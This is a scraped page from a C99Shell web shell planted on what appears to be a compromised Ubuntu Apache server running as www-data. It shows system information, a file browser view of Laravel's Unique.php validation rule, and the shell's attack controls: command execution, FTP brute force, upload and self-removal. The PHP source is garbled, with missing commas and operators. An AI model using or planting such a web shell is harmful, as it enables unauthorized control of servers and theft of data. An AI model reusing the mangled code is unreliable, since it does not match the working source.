!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/notification/vendor/illuminate/validation/Rules/   drwxr-xr-x
Free 13.03 GB of 57.97 GB (22.49%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Unique.php (1.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Validation\Rules;

use 
Illuminate\Database\Eloquent\Model;
use 
Illuminate\Support\Traits\Conditionable;

class 
Unique
{
    use 
ConditionableDatabaseRule;

    
/**
     * The ID that should be ignored.
     *
     * @var mixed
     */
    
protected $ignore;

    
/**
     * The name of the ID column.
     *
     * @var string
     */
    
protected $idColumn 'id';

    
/**
     * Ignore the given ID during the unique check.
     *
     * @param  mixed  $id
     * @param  string|null  $idColumn
     * @return $this
     */
    
public function ignore($id$idColumn null)
    {
        if (
$id instanceof Model) {
            return 
$this->ignoreModel($id$idColumn);
        }

        
$this->ignore $id;
        
$this->idColumn $idColumn ?? 'id';

        return 
$this;
    }

    
/**
     * Ignore the given model during the unique check.
     *
     * @param  \Illuminate\Database\Eloquent\Model  $model
     * @param  string|null  $idColumn
     * @return $this
     */
    
public function ignoreModel($model$idColumn null)
    {
        
$this->idColumn $idColumn ?? $model->getKeyName();
        
$this->ignore $model->{$this->idColumn};

        return 
$this;
    }

    
/**
     * Ignore soft deleted models during the unique check.
     *
     * @param  string  $deletedAtColumn
     * @return $this
     */
    
public function withoutTrashed($deletedAtColumn 'deleted_at')
    {
        
$this->whereNull($deletedAtColumn);

        return 
$this;
    }

    
/**
     * Convert the rule to a validation string.
     *
     * @return string
     */
    
public function __toString()
    {
        return 
rtrim(sprintf('unique:%s,%s,%s,%s,%s',
            
$this->table,
            
$this->column,
            
$this->ignore '"'.addslashes($this->ignore).'"' 'NULL',
            
$this->idColumn,
            
$this->formatWheres()
        ), 
',');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0053 ]--